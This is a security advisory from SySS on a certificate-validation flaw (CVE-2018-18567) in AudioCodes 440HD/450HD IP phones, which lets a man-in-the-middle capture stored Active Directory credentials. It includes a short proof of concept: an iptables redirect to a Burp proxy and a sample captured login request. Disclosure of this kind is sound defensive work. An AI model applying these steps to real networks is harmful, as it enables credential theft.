AudioCodes 440HD / 450HD IP Phone 3.1.2.89 Man-In-The-Middle

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256  
  
Advisory ID: SYSS-2018-026  
Product: 440HD / 450HD IP Phone  
Manufacturer: AudioCodes  
Affected Version(s): <= 3.1.2.89  
Tested Version(s): VC_3.1.1.43.1, VC_3.1.2.89  
Vulnerability Type: X.509 validation - Man-in-the-Middle (CWE-300)  
Risk Level: Medium  
Solution Status: Open  
Manufacturer Notification: 2018-08-29  
Solution Date: 20??-??-??  
Public Disclosure: 2018-10-23  
CVE Reference: CVE-2018-18567  
Author of Advisory: Micha Borrmann (SySS GmbH)  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
If a AudioCodes 440HD/450HD IP Phone [1] is used with an on-premise  
installation with Skype for Business, the phone has stored credentials  
of an account in the active directory. Performing a man-in-the-middle  
attack, the phone give away the credentials to an attacker and  
therefore the account will be compromised. The phone itself is fully  
functional and will not show any hints of an attack.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
The phone sends the stored credentials to a website usually named  
skypewebpool via HTTPS but does not validate the X.509 certificate.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
Configure Burp Suite as invisible proxy an gain a Man-in-the-Middle-position.  
  
Set an iptables rule, that routes the traffic through Burp Suite, like  
  
# iptables -A PREROUTING -t nat -i eth0 -s 192.168.100.100 -p tcp --dport 443 -j REDIRECT --to-port 8080  
  
Watch the proxy history for a HTTP POST request like  
  
POST /WebTicket/oauthtoken HTTP/1.1  
Host: skypewebpool.example.com  
User-Agent: AUDC/3.1.1.43 AUDC-IPPhone-440HD_UC_3.1.1.43/1  
Content-Length: 163  
Content-Type: application/x-www-form-urlencoded  
Connection: close  
  
grant_type=password&client_id=abc...&resource=https%3a%2f%2fskypewebpool.example.com&password=verytopsecretpassword&username=ADaccountname  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
Install the new firmware, which has a trust store integrated and a  
strict X.509 certificate validation policy, too.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2018-08-13: Detection of the vulnerability  
2018-09-06: Vulnerability reported to manufacturer  
2018-10-22: CVE number assigned  
2018-10-23: Public release of the security advisory  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
[1] Product web sites for the phones  
https://www.audiocodes.com/solutions-products/products/ip-phones/440hd-ip-phone  
https://www.audiocodes.com/solutions-products/products/ip-phones/450hd-ip-phone  
[2] SySS Security Advisory SYSS-2018-026  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-026.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Micha Borrmann of SySS GmbH.  
  
E-Mail: micha.borrmann (at) syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc  
Key Fingerprint: F2E7 C6A5 9950 84ED 7AD6 0DD4 EDBE 26E7 14EA 5876  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory  
may be updated in order to provide as accurate information as  
possible. The latest version of this security advisory is available on  
the SySS Web site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
-----BEGIN PGP SIGNATURE-----  
  
iQIzBAEBCAAdFiEE8ufGpZlQhO161g3U7b4m5xTqWHYFAlvO5MAACgkQ7b4m5xTq  
WHbTUg/+OAJuLzuW8Uu2VuP4EeJyRfL8XqZP3TVjpsueOb2XhHpUhugVpd3Dh/I/  
cF1tZoyTnt41smNxEAnKFpPikEAdem4M9zvAmyDzWmQaqmqUBQAsEShM3ACdshEN  
+8zKnXFvjwLHOMKKX7jJ5S76OH8YeYpOwLNc0vTXFLv4Nt+1wpTWR8qHR/xAjRrW  
uKH0CJrjs408gRoyvssUSpKiOWh+uVRq/NVvGIpGtwGBAZEmcgG4TD4tszOjRao6  
WFGIs039rQhbLaqeD2LXn9yLU5uSh1h+QkqmaOM/MSAOGXmgSG4zIo3REu1GY9w5  
uIvrVytoGsqcVRLqpHX/oq1Xkr3krzCZYuNAnVWkULFx90K/SZ143gWZFan95wJA  
2FPmbW71kkSVC5aW4nFuIfQyyL5Gm7BF7YptrnNMpJbY9VMnGCwJxQsJmBBas/yH  
txBtYMxqmY0L+tNfqK5Iqm4OeNiYI/ef95Rl677jBnh3+4nrmcESQagetpV3wz1D  
qkumdytXIV8p8sgOCuRHNtnno0en08oJCZw1D/eQ8OHX9HbbIYNNJxnqlWXet/OT  
8W7blNwmpIPzXMa7oB42amQCUYdWgkHPCKsVS8aHBi0mhrU5sEWEvYfQO1Ef8qMW  
zFbgBh/qH4lEdoZRL5yKlrPmQcukCyAf+4VuFRUCJdXkeTfzf7M=  
=yKAX  
-----END PGP SIGNATURE-----  
`